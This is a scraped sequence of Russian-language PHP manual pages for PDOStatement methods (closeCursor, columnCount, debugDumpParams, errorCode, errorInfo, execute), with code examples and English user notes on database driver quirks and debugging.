Этот метод полезен при использовании драйверов баз данных, которые не позволяют запустить PDOStatement, пока предыдущий объект PDOStatement не выберет все данные из результирующего набора. Если это ограничение распространяется на ваш драйвер, будет вызвана ошибка нарушения последовательности запросов (out-of-sequence error).

PDOStatement::closeCursor() может быть реализован как дополнительный метод конкретного драйвера (позволяющий добиться максимальной эффективности работы), либо как внутренний метод PDO, если такой функции в драйвере нет. Реализация внутреннего метода PDO семантически схожа с приведённой ниже:

<?php
do {
while ($stmt->fetch())
;
if (!$stmt->nextRowset())
break;
} while (true);
?>

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Пример использования PDOStatement::closeCursor()

В приведённом примере, объект PDOStatement $stmt возвращает несколько строк, однако приложение считывает только первую из них, оставляя объект PDOStatement в состоянии, когда есть ещё невыбранные строки. Чтобы быть уверенным в том, что приложение будет работать со всеми драйверами баз данных, автор добавил вызов метода PDOStatement::closeCursor() объекта $stmt перед тем как запустить другой запрос PDOStatement $otherStmt.

<?php
/* Создание объекта PDOStatement */
$stmt = $dbh->prepare('SELECT foo FROM bar');

/* Создание другого объекта PDOStatement */
$otherStmt = $dbh->prepare('SELECT foobaz FROM foobar');

/* Выполнение первого запроса */
$stmt->execute();

/* Выборка только первой строки результирующего набора первого запроса */
$stmt->fetch();

/* Следующий вызов closeCursor() может быть обязательным для некоторых драйверов */
$stmt->closeCursor();

/* теперь можно запускать второй запрос */
$otherStmt->execute();
?>

Смотрите также

  • PDOStatement::execute() - Запускает подготовленный запрос на выполнение

User Contributed Notes

Anonymous 01-Jul-2015 03:36
In case this is helpful to anybody else who ends-up here after getting the following error:

SQLState: 24000 [Microsoft][ODBC SQL Server Driver]Invalid cursor state

PDOStatement :: closeCursor() did not fix the issue for me. However, adding SET NOCOUNT ON to the beginning of my stored procedure did.
Anonymous 19-Jun-2015 09:44
At least with MySQL this function also resets any bound columns, so the fetches will go through as expected but you will be getting stale data in the loop.

Redo all the binds before continuing!
jhill9693 at gmail dot com 02-May-2011 08:34
If you ran a SQL statement (vs a query that returns data) such as UPDATE, try unsetting your PDOStatement object instead of calling PDOStatement::closeCursor().
narada dot sage at googlemail dot com 29-Apr-2006 01:23
When running multiple queries one after another especially when stored procedures are involved one must release all result sets and fetch all rows in each result set for a stored procedure before moving onto the next query.  This is important because a stored procedure returns an extra (empty) result set as a result of having called the procedure itself.

In my case calling PDOStatement :: closeCursor() did not work (on php-5.1.3-rc2) and I was presented with the following error message: "SQLSTATE[HY000]: General error: 2013 Lost connection to MySQL server during query" upon trying to PDO :: prepare() my second query.  So I used the following drop in replacement within one of my classes which fixed the issue.

<?php
/**
 * @param PDOStatement $oStm
 */
public static function closeCursor($oStm) {
    do $oStm->fetchAll();
    while ($oStm->nextRowSet());
}
?>


Возвращает количество столбцов в результирующем наборе

  • « PDOStatement::closeCursor
  • PDOStatement::debugDumpParams »
  • PHP Manual
  • PDOStatement
  • Возвращает количество столбцов в результирующем наборе

PDOStatement::columnCount

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDOStatement::columnCount — Возвращает количество столбцов в результирующем наборе

Описание

public PDOStatement::columnCount(): int

Используйте PDOStatement::columnCount(), чтобы узнать количество столбцов в результирующем наборе, который представляет объект PDOStatement.

Если объект PDOStatement был возвращён из метода PDO::query(), число столбцов можно узнать сразу же.

Если объект PDOStatement был возвращён из метода PDO::prepare(), точное количество столбцов можно будет узнать только после запуска метода PDOStatement::execute().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество столбцов в результирующем наборе запроса PDOStatement, даже если он пуст. Если результирующего набора нет, PDOStatement::columnCount() возвращает 0.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Подсчёт столбцов

В этом примере показано, как PDOStatement::columnCount() работает в случае наличия и отсутствия результирующего набора.

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

$sth = $dbh->prepare("SELECT name, colour FROM fruit");

/* Подсчёт количества столбцов в (несуществующем) результирующем наборе */
$colcount = $sth->columnCount();
print "Перед вызовом execute(), в результирующем наборе $colcount столбцов (должно быть 0)\n";

$sth->execute();

/* Подсчёт количества столбцов в результирующем наборе */
$colcount = $sth->columnCount();
print "После вызова execute(), в результирующем наборе $colcount столбцов (должно быть 2)\n";

?>

Результат выполнения данного примера:

Перед вызовом execute(), в результирующем наборе 0 столбцов (должно быть 0)
После вызова execute(), в результирующем наборе 2 столбцов (должно быть 2)

Смотрите также

  • PDO::prepare() - Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
  • PDOStatement::execute() - Запускает подготовленный запрос на выполнение
  • PDOStatement::rowCount() - Возвращает количество строк, затронутых последним SQL-запросом

User Contributed Notes

756567406 at qq dot com 01-Dec-2016 06:21
When you use query method, You'll get count right away

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

$sth = $dbh->query("SELECT name, colour FROM fruit");
$count = $sth->columnCount();

echo 'query count is '.$count;

?>


Вывод информации о подготовленной SQL-команде в целях отладки

  • « PDOStatement::columnCount
  • PDOStatement::errorCode »
  • PHP Manual
  • PDOStatement
  • Вывод информации о подготовленной SQL-команде в целях отладки

PDOStatement::debugDumpParams

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.9.0)

PDOStatement::debugDumpParams — Вывод информации о подготовленной SQL-команде в целях отладки

Описание

public PDOStatement::debugDumpParams(): ?bool

Выводит информацию о подготовленном запросе в выходной поток. Будет выводиться текст используемого SQL запроса, количество задействованных параметров (Params), список параметров с их именами ключей или индексами, их именами, индексами в запросе (если поддерживается в драйвере PDO, иначе -1), типом (param_type) в виде целого числа и логическое значение is_param.

Это отладочная функция, которая направляет данные на стандартный вывод.

Подсказка

Как и с любой другой функцией, осуществляющей вывод непосредственно в браузер, вы можете использовать функции контроля вывода, чтобы перехватывать выводимые этой функцией данные и сохранять их, например, в строку (string).

Эта функция выведет информацию о параметрах запроса, существующих на момент вызова. Дополнительные параметры не хранятся в запросе, поэтому отображены не будут.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает null или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.2.0 | PDOStatement::debugDumpParams() теперь возвращает SQL, отправленный в базу данных, в том числе полный необработанный запрос (включая заменённые параметры с их связанными значениями). Обратите внимание, что это будет работать только при включённой эмуляции подготавливаемых запросов.

Примеры

Пример #1 Пример использования PDOStatement::debugDumpParams() с именованными параметрами

<?php
/* Выполнение запроса с привязкой PHP переменных */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour = :colour');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->bindValue(':colour', $colour, PDO::PARAM_STR, 12);
$sth->execute();

$sth->debugDumpParams();

?>

Результат выполнения данного примера:

SQL: [96] SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour
Params:  2
Key: Name: [9] :calories
paramno=-1
name=[9] ":calories"
is_param=1
param_type=1
Key: Name: [7] :colour
paramno=-1
name=[7] ":colour"
is_param=1
param_type=2

Пример #2 Пример использования PDOStatement::debugDumpParams() с неименованными (?) параметрами

<?php

/* Выполнение запроса с привязкой PHP переменных */
$calories = 150;
$colour = 'red';
$name = 'apple';

$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindValue(2, $colour, PDO::PARAM_STR);
$sth->execute();

$sth->debugDumpParams();

?>

Результат выполнения данного примера:

SQL: [82] SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?
Params:  2
Key: Position #0:
paramno=0
name=[0] ""
is_param=1
param_type=1
Key: Position #1:
paramno=1
name=[0] ""
is_param=1
param_type=2

Смотрите также

  • PDO::prepare() - Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
  • PDOStatement::bindParam() - Привязывает параметр запроса к переменной
  • PDOStatement::bindValue() - Связывает параметр с заданным значением

User Contributed Notes

Lucas 15-Dec-2015 02:15
This function doesn't have a return, so if you want to do something with it you'll have to do something like

<?php
function pdo_debugStrParams($stmt) {
  ob_start();
  $stmt->debugDumpParams();
  $r = ob_get_contents();
  ob_end_clean();
  return $r;
}

// omitted: connect to the database and prepare a statement
echo '<pre>'.htmlspecialchars(pdo_debugStrParams($stmt)).'</pre>';
?

Source: http://stackoverflow.com/questions/22157331/something-like-debugdumpparams-in-pdo-settable-to-a-string
mark at manngo dot net 07-Oct-2013 01:21
As noted, this doesn't actually simply print the prepared statement with data to be executed.

For trouble shooting purposes, I find the following useful:

<?php
    function parms($string,$data) {
        $indexed=$data==array_values($data);
        foreach($data as $k=>$v) {
            if(is_string($v)) $v="'$v'";
            if($indexed) $string=preg_replace('/\?/',$v,$string,1);
            else $string=str_replace(":$k",$v,$string);
        }
        return $string;
    }

    //    Index Parameters
        $string='INSERT INTO stuff(name,value) VALUES (?,?)';
        $data=array('Fred',23);

    //    Named Parameters
        $string='INSERT INTO stuff(name,value) VALUES (:name,:value)';
        $data=array('name'=>'Fred','value'=>23);

    print parms($string,$data);
?>
thefox 16-Apr-2013 05:58
This function doesn't print parameter values despite the documentation says it does. See https://bugs.php.net/bug.php?id=52384 (filed back in 2010).


Получает код SQLSTATE, связанный с последней операцией в объекте PDOStatement

  • « PDOStatement::debugDumpParams
  • PDOStatement::errorInfo »
  • PHP Manual
  • PDOStatement
  • Получает код SQLSTATE, связанный с последней операцией в объекте PDOStatement

PDOStatement::errorCode

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::errorCode — Получает код SQLSTATE, связанный с последней операцией в объекте PDOStatement

Описание

public PDOStatement::errorCode(): ?string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод идентичен PDO::errorCode() за исключением того, что PDOStatement::errorCode() возвращает коды ошибок, произошедших в результате работы объекта PDOStatement.

Примеры

Пример #1 Получение кода SQLSTATE

<?php
/* Спровоцируем ошибку -- таблицы BONES не существует */
$err = $dbh->prepare('SELECT skull FROM bones');
$err->execute();

echo "\nPDOStatement::errorCode(): ";
print $err->errorCode();
?>

Результат выполнения данного примера:

PDOStatement::errorCode(): 42S02

Смотрите также

  • PDO::errorCode() - Возвращает код SQLSTATE результата последней операции с базой данных
  • PDO::errorInfo() - Получает расширенную информацию об ошибке, произошедшей в ходе последнего обращения к базе данных
  • PDOStatement::errorInfo() - Получение расширенной информации об ошибке, произошедшей в результате работы объекта PDOStatement

User Contributed Notes

dbeecher at tekops dot com 21-Aug-2008 02:50
Neither this property nor the PDOStatement::errorInfo() properties are available if you create  your own exception handler.

I am using PHP 5.2.4, PDO_INFORMIX 1.2.0.

Making this call at any point in the program after setting your own exception handler produces an error:

PHP Notice:  Undefined property:  PDOStatement::$errorCode in new_query.php on line

or

PHP Notice:  Undefined property:  PDOStatement::$errorInfo in new_query.php on line

But if I set the PDO to SILENT, only set error codes with:

$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT)

Then process with if/else the call to this functions works fine.  The examples below only do error checking to show the result codes of this function.  Normally you would want more.

FAILS:

$dbh = new PDO("informix...")
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

try  {
      $result = $dbh->query("asdfkjasdfkjasdfjk");  /* obvious sql error */
      if ($result) print "success!";
      }
catch
      {
      $myeCode = $dbh->errorCode();
      /* do stuff with error */
      };

$dbh=0;

The error handler gets called but knows nothing about $dbh->errorCode or $dbh->errorInfo.

WORKS:

$dbh = new PDO("informix...")
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);

$result = $dbh->query("asdfkjasdfkjasdfjk");  /* obvious sql error */
if ($result)
      {
      /* process result */
      print "success!";

      /* all done, didn't make any changes */
      $dbh->rollback();
      }
else
      {
      $myeCode = $dbh->errorCode();
      print_r($myeCode);
      };

$dbh=0;  /* close connection */

I hope this helps someone else.
Cheers,
David
vaclav dot sir at gmail dot com 05-Jun-2006 08:59
Statement's errorCode() returns an empty string before execution, and '00000' (five zeros) after a sucessfull execution:

<?php
$stmt = $pdo->prepare($query);
assert($stmt->errorCode === '');

$stmt->execute();
assert($stmt->errorCode === '00000');
?>


Получение расширенной информации об ошибке, произошедшей в результате работы объекта PDOStatement

  • « PDOStatement::errorCode
  • PDOStatement::execute »
  • PHP Manual
  • PDOStatement
  • Получение расширенной информации об ошибке, произошедшей в результате работы объекта PDOStatement

PDOStatement::errorInfo

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::errorInfo — Получение расширенной информации об ошибке, произошедшей в результате работы объекта PDOStatement

Описание

public PDOStatement::errorInfo(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

PDOStatement::errorInfo() возвращает массив с информацией об ошибке, соответствующей последней операции объекта PDOStatement. Массив состоит как минимум из следующих полей:

Элемент | Информация
0 | Код ошибки SQLSTATE (пятисимвольный код состоящий из букв и цифр, определённый в стандарте ANSI SQL).
1 | Код ошибки, возвращаемый драйвером.
2 | Сообщение об ошибке, возвращаемое драйвером.

Примеры

Пример #1 Вывод полей errorInfo() при PDO_ODBC подключении к DB2

<?php
/* Спровоцируем ошибку -- таблицы BONES не существует */
$sth = $dbh->prepare('SELECT skull FROM bones');
$sth->execute();

echo "\nPDOStatement::errorInfo():\n";
$arr = $sth->errorInfo();
print_r($arr);
?>

Результат выполнения данного примера:

PDOStatement::errorInfo():
Array
(
    [0] => 42S02
    [1] => -204
    [2] => [IBM][CLI Driver][DB2/LINUX] SQL0204N  "DANIELS.BONES" is an undefined name.  SQLSTATE=42704
)

Смотрите также

  • PDO::errorCode() - Возвращает код SQLSTATE результата последней операции с базой данных
  • PDO::errorInfo() - Получает расширенную информацию об ошибке, произошедшей в ходе последнего обращения к базе данных
  • PDOStatement::errorCode() - Получает код SQLSTATE, связанный с последней операцией в объекте PDOStatement

User Contributed Notes

richardverason at gmail dot com 09-Jun-2019 02:51
Seriously errorInfo  is your friend. Use it.

If these look like your google searches then you need errorInfo

"no database error showing in php"
"pdo selects from database but wont insert"
"pdo insert not working"
"isnt pdo just a big hype, should I go back to mysql?"
"how much do surgeons make?"

Trust me it will definitely save you hours of insanity if you make it  a habit to use it in development. Forget E-ALL, it failed me since well, E-ALL apparently doesn't know that I didn't set a default value in my MySQL table and my query wasnt adding anything to it. So always do this

<?php

    $sql = 'do something on a mysql table where foo = :bar';
    $stmt = prepare($sql);
    $stmt->bindValue(':bar', $foo, PDO::PARAM_[DATA TYPE]);
    $stmt->execute();

    // very important during development. But take it off in production
    $foo_arr = $stmt->errorInfo();
    print_r($foo_arr);

    //Sample print_r return
    /*
    Array(
        [0] => HY000
        [1] => 1364
        [2] => Field 'phone' doesn't have a default value
    )
   Never have I been so happy to see an error
    */
?>

While its common practice for any decent developer to always watch out and try to catch for errors, even the best of us make mistakes. This is not a replacement for exceptions, but the simplicity is priceless.
lingtalfi at gmail dot com 17-Dec-2015 09:27
Ansi sql state Error codes can be found here:

https://docs.oracle.com/cd/F49540_01/DOC/server.815/a58231/appd.htm
Geoffrey Hoffman 22-Jul-2015 04:45
If your query is successful, PDO::errorInfo() still returns an array. For MySQL 5.x, I get the following...

Array
(
    [0] => 00000
    [1] =>
    [2] =>
)
Deuchnord 11-Jun-2015 08:48
Sorry, my example below is not correct, this is a correction:

<?php
$listOfUsers = $db->query('SELECT name from uesrs');
$errorInfo = $listOfUsers->errorInfo();
if($errorInfo[0] != 0)
    die($errorInfo[2]);
?>


Запускает подготовленный запрос на выполнение

  • « PDOStatement::errorInfo
  • PDOStatement::fetch »
  • PHP Manual
  • PDOStatement
  • Запускает подготовленный запрос на выполнение

PDOStatement::execute

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::execute — Запускает подготовленный запрос на выполнение

Описание

public PDOStatement::execute(?array $params = null): bool

Запускает подготовленный запрос. Если запрос содержит маркеры параметров (псевдопеременные), вы должны либо:

  • вызвать PDOStatement::bindParam() и/или PDOStatement::bindValue(), чтобы связать эти маркеры, соответственно, с переменными или значениями. Связанные переменные передают свои значения как входные данные и получают выходные значения

  • или передать массив значений только на вход

Список параметров

params

Массив значений, содержащий столько элементов, сколько параметров заявлено в SQL-запросе. Все значения будут приняты, как имеющие тип PDO::PARAM_STR.

Нельзя привязать несколько значений к одному параметру; например, нельзя привязать два значения к именованному параметру в выражении IN().

Нельзя привязать больше значений, чем заявлено в запросе; если в массиве params больше элементов, чем заявлено в SQL-запросе методом PDO::prepare(), выполнение запроса завершится неудачей и будет вызвана ошибка.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Выполнение подготовленного запроса с привязкой переменных и значений

<?php
/* Выполнение подготовленного запроса с привязкой переменных и значений */
$calories = 150;
$colour = 'gre';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour LIKE :colour');
$sth->bindParam('calories', $calories, PDO::PARAM_INT);
/* Имена также могут начинаться с двоеточия ":" (необязательно) */
$sth->bindValue(':colour', "%$colour%");
$sth->execute();
?>

Пример #2 Выполнение подготовленного запроса с массивом именованных значений

<?php
/* Выполнение подготовленного запроса с передачей массива входных значений */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour = :colour');
$sth->execute(array('calories' => $calories, 'colour' => $colour));
/* Ключи массива также могут начинаться с двоеточия ":" (необязательно) */
$sth->execute(array(':calories' => $calories, ':colour' => $colour));
?>

Пример #3 Выполнение подготовленного запроса с массивом позиционных значений

<?php
/* Выполнение подготовленного запроса с передачей массива входных значений */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < ? AND colour = ?');
$sth->execute(array($calories, $colour));
?>

Пример #4 Выполнение подготовленного запроса с переменными, привязанными к позиционным заполнителям

<?php
/* Выполнение подготовленного запроса с привязкой PHP переменных */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindParam(2, $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>

Пример #5 Выполнение подготовленного запроса с использованием массива для выражения IN

<?php
/* Выполнение подготовленного запроса с использованием массива для выражения IN */
$params = array(1, 21, 63, 171);
/* Создаём строку из знаков вопроса (?) в количестве, равном количеству параметров */
$place_holders = implode(',', array_fill(0, count($params), '?'));

/*
В этом примере подготавливается запрос с достаточным количеством неименованных
псевдопеременных (?) для каждого значения из массива $params. Когда запрос будет
выполняться, эти знаки вопроса будут заменены на элементы массива. Это не то же
самое, что использовать PDOStatement::bindParam(), где привязка осуществляется по
ссылке на переменную. PDOStatement::execute() связывает параметры по значению.
*/
$sth = $dbh->prepare("SELECT id, name FROM contacts WHERE id IN ($place_holders)");
$sth->execute($params);
?>

Примечания

Замечание:

Для некоторых драйверов необходимо закрывать курсор, прежде чем выполнять следующий запрос.

Смотрите также

  • PDO::prepare() - Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
  • PDOStatement::bindParam() - Привязывает параметр запроса к переменной
  • PDOStatement::fetch() - Извлечение следующей строки из результирующего набора
  • PDOStatement::fetchAll() - Выбирает оставшиеся строки из набора результатов
  • PDOStatement::fetchColumn() - Возвращает данные одного столбца следующей строки результирующего набора

User Contributed Notes

Sbastien 08-Jun-2023 07:48
Strangely the manual doesn't give a full SELECT example.

<?php

$sql = <<<SQL
    SELECT ALL name, calories, colour
    FROM fruit
    WHERE calories < :calories AND colour = :colour
    SQL;

$select = $pdo->prepare($sql);

$select->execute(['calories' => 150, 'colour' => 'red']);

$data = $select->fetchAll();
joshuag at count-recount at dynaggelos dot com 09-Dec-2021 05:35
It took me a long while to realize this and the documentation didn't seem very clear on using PDO_Statement::execute() on a SELECT statement type query, so I wanted to note this here. When preparing a SELECT query and then executing it using PDO_Statement::execute(), you can then simply proceed to use PDO_Statement::fetch() or PDO_Statement::fetchAll() on that same PDO_Statement object. This is no different than using PDO::query() to return a PDO_Statement object, and then calling PDO_Statement::fetch() on that object. This is because the PDO_Statement object is of course still a PDO_Statement object, and, as the PDO::query documentation (https://www.php.net/manual/en/pdo.query.php) says, PDO::query also "[p]repares and executes an SQL statement."

<?php

$pdo_statement = $my_pdo_object->prepare( "SELECT * FROM `MyTable` WHERE `Field1` = 'this_string'" );

if ( true === $this->execute_safe_query( $pdo_statement ) ) {

    echo $pdo_statement->fetch();

}

?>
danny dot panzer at gmail dot com 16-Apr-2021 05:31
I have found very strange behavior for PostgreSQL:

Outside of a transaction, you can pass boolean true/false as members of the input array and it seems to work.

However, *inside* a transaction, boolean true works but boolean false does not. Instead, pass something "falsey" like integer 0 or string "false"
davidhcefx 11-Dec-2020 05:06
As already pointed out by some folks, DON'T PASS ARRAYS KEYED WITH NAMES TO QUESTION MARK PARAMETERS!

<?php
$sth = $dbh->prepare('INSERT INTO fruit (name, colour, colories) VALUES (?, ?, ?)');

// This is wrong!
// $param = array("name" => "apple", "colour" => "red", "colories" => 150);

// Array must be keyed with integers starting from zero
$param = array("apple", "red", 150);
$sth->execute($param);
valterekholm at hotmail.com 23-May-2020 11:25
I'm using the question-mark way when binding. I tried to use an an associative array when doing

 $stmt->execute($values);

having column-names as keys. I thought this would make it easier when rendering the query (as I had variable amounts of parameters).

I found that the execute then could not work with associative array, only with numeric array (with numeric indexes).
dg_waves 04-Nov-2017 06:12
Note the return values for this method.
[bool]  => true or false

So when i check several queries like INSERT, UPDATE,  REPLACE AND DELETE, i got accurate results =>  bool(true) i.e. The query executed successfully.

$query = "SELECT session_data" FROM  sessions WHERE session_id = ?";

$stmt = $pdo->prepare($query);
$stmt->bindValue(1, 'login_user_5121');

if($stmt->execute()) {
    print 'Query executed successfully';
}

//Output
Query executed successfully

So, i think u might not have to use { $stmt->rowCount() } method to know whether the query executed successfully.
But on every community i haven't seen anyone point out, so i might be wrong here but u should give it a try with several queries.
Ihor Ivanov 27-Apr-2017 04:51
If one parameter name is missing or misspelled, this function throws an error of level E_WARNING, even when PDO::ATTR_ERRMODE is set to PDO::ERRMODE_SILENT!
In the same situation, but when PDO::ERRMODE_WARNING is set, this function throws TWO errors of level E_WARNING!

This function does not throw any error when PDO::ERRMODE_EXCEPTION is set, instead, it throws a PDOException.

All this applies even when you use PDOStatement::bindParam() function with misspelled parameter name and than use PDOStatement::execute();

Tested on: Windows 10, PHP 5.5.35, mysqlnd 5.0.11, MySQL 5.6.30.

<?php
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);

$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE colour = :colour');

/*
    Notice the parameter name ':color' instead of ':colour'.

    When PDO::ERRMODE_SILENT is set, this function throws the error:
    Warning: PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number: parameter was not defined in...

    When PDO::ERRMODE_WARNING is set, this function throws this two errors:
    Warning: PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number: parameter was not defined in...
    Warning: PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number in...
*/
$sth->execute(array(':color' => $colour));
?>
mail at tinodidriksen dot com 15-Aug-2016 08:43
The example shows this to generate the needed number of question marks, which is amazingly wasteful:
$place_holders = implode(',', array_fill(0, count($params), '?'));

Instead, just do:
$place_holders = '?'.str_repeat(',?', count($params)-1);
Ray.Paseur sometimes uses Gmail 23-Jan-2016 07:19
"You cannot bind more values than specified; if more keys exist in input_parameters than in the SQL specified in the PDO::prepare(), then the statement will fail and an error is emitted."  However fewer keys may not cause an error.

As long as the number of question marks in the query string variable matches the number of elements in the input_parameters, the query will be attempted.

This happens even if there is extraneous information after the end of the query string.  The semicolon indicates the end of the query string; the rest of the variable is treated as a comment by the SQL engine, but counted as part of the input_parameters by PHP.

Have a look at these two query strings.  The only difference is a typo in the second string, where a semicolon accidentally replaces a comma.  This UPDATE query will run, will be applied to all rows, and will silently damage the table.

<?php
/**
 * Query is intended to UPDATE a subset of the rows based on the WHERE clause
 */
$sql  = "UPDATE my_table SET fname = ?, lname = ? WHERE id = ?";

/**
 * Query UPDATEs all rows, ignoring everything after the semi-colon, including the WHERE clause!
 *
 * Expected (but not received):
 *
 *** Warning:
 *** PDOStatement::execute():
 *** SQLSTATE[HY093]:
 *** Invalid parameter number: number of bound variables does not match number of tokens...
 *
 */
// Typo here ------------------------ |
//                                    V
$sql  = "UPDATE my_table SET fname = ?; lname = ? WHERE id = ?"; // One token in effect
$pdos = $pdo->prepare($sql);
$pdos->execute( [ 'foo', 'bar', 3 ] );                           // Three input_parameters
?>

PHP 5.4.45, mysqlnd 5.0.10
pere dot pasqual at gmail dot com 11-Jun-2015 03:02
It's been 7 years since simon dot lehmann at gmx dot comment, but today I found myself having problems with a prepared statement involving an INSERT, PDO odbc driver for Microsoft Access and PHP 5.4.7. The prepared statement was done using the prepare + execute method, throwing an ugly
"SQLExecDirect[-3500] at ext\\pdo_odbc\\odbc_driver.c:247" error
and a
42000 ("Syntax error or access violation") SQLSTATE.

He suspects what the problem is and points to a possible solution: using bindParam() or bindValue() and specify a data type.

Well, that seems to be right identifying the source of the problem, but there is a simpler solution that worked for me, simpler and that allows you to continue using pdo::prepare() with ? as parameters and pdo::execute():
the only thing you have to do is, if not done before, a cast of the binded parameters to its specific type (the type that the database is expecting) before putting them in the array you pass to pdo::execute($array).

The following code fails, throwing the error above:

<?php
$name = "John";
$length = "1";
$price = "1.78";
$SQL = "INSERT INTO table (name, length, price) VALUES (?,?,?)";
$arra = array($name, $length, $price);
$sth = $msq->prepare($SQL);
$sth->execute($arra);
?>

This one works for me like a charm:

<?php
$name = "John";
$length = (int)"1"; // the database is expecting this type
$price = (float)"1.78"; // the database is expecting this type
$SQL = "INSERT INTO table (name, length, price) VALUES (?,?,?)";
$arra = array($name, $length, $price);
$sth = $msq->prepare($SQL);
$sth->execute($arra);
?>
takingsides at gmail dot com 05-Dec-2014 11:10
Debugging prepared statements can be a pain sometimes when you need to copy a query and run it in the DB directly.  The function below is an example of how to compile your own query (of course it would need some tweaking and may not work in all scenarios).

<?php

$sql = "
    SELECT t1.*
    FROM table1 AS t1
    INNER JOIN table2 AS t2 ON (
        t2.code = t1.code
        AND t1.field1 = ?
        AND t1.field2 = ?
        AND t1.field3 = ?
    )
";

$stmt = $pdo->prepare($sql);
$params = [ 'A', 'B', 'C' ];
$stmt->execute($params);

// Output the compiled query
debug($sql, $params);

function debug($statement, array $params = [])
{
    $statement = preg_replace_callback(
        '/[?]/',
        function ($k) use ($params) {
            static $i = 0;
            return sprintf("'%s'", $params[$i++]);
        },
        $statement
    );

    echo '<pre>Query Debug:<br>', $statement, '</pre>';
}
?>

This would output something like:

SELECT t1.*
FROM table1 AS t1
INNER JOIN table2 AS t2 ON (
    t2.part_code = t1.code
    AND t1.field1 = 'A'
    AND t1.field2 = 'B'
    AND t1.field3 = 'C'
)
Whitebeard 01-Apr-2014 07:27
If you are having issues passing boolean values to be bound and are using a Postgres database... but you do not want to use bindParam for *every* *single* *parameter*, try passing the strings 't' or 'f' instead of boolean TRUE or FALSE.
Rami jamleh 02-Apr-2013 11:09
simplified $placeholder form

<?php

$data = ['a'=>'foo','b'=>'bar'];

$keys = array_keys($data);
$fields = '`'.implode('`, `',$keys).'`';

#here is my way
$placeholder = substr(str_repeat('?,',count($keys)),0,-1);

$pdo->prepare("INSERT INTO `baz`($fields) VALUES($placeholder)")->execute(array_values($data));
anon at anon dot com 15-Jun-2012 09:10
If your MySQL table has 500,000+ rows and your script is failing because you have hit PHP's memory limit, set the following attribute.

<?php $this->pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false); ?>

This should make the error go away again and return memory usage back to normal.
mail at horn-online-media dot de 14-Jun-2012 10:32
hi,

just a qick note to get started without problems when using quotation: PDO does NOT replace given variables if they are wrapped in quotationmarks, e.g.

<?php

$st = $db->prepare( '
    INSERT INTO fruits( name, colour )
    VALUES( :name, ":colour" )
';
$st->execute( array( ':name' => 'Apple', ':colour' => 'red' ) );

?>

results in in a new fruit like

 -> Apple, :colour

without the colour beeing replaced by "red". so leave variables WITHOUT the quotation - PDO will do.
nils andre with my googelian maily accou 27-Apr-2012 02:25
I realized that I ran into serious trouble when debugging my PHP scripts from the command line, and despite of going to fetchAll and so, I always got the error

SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active.

I realized that I had a double init command:

PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8; SET CHARACTER SET utf8;"

The first one is the better choice and removing the latter, the error is gone.
T-Rex 11-Apr-2012 03:44
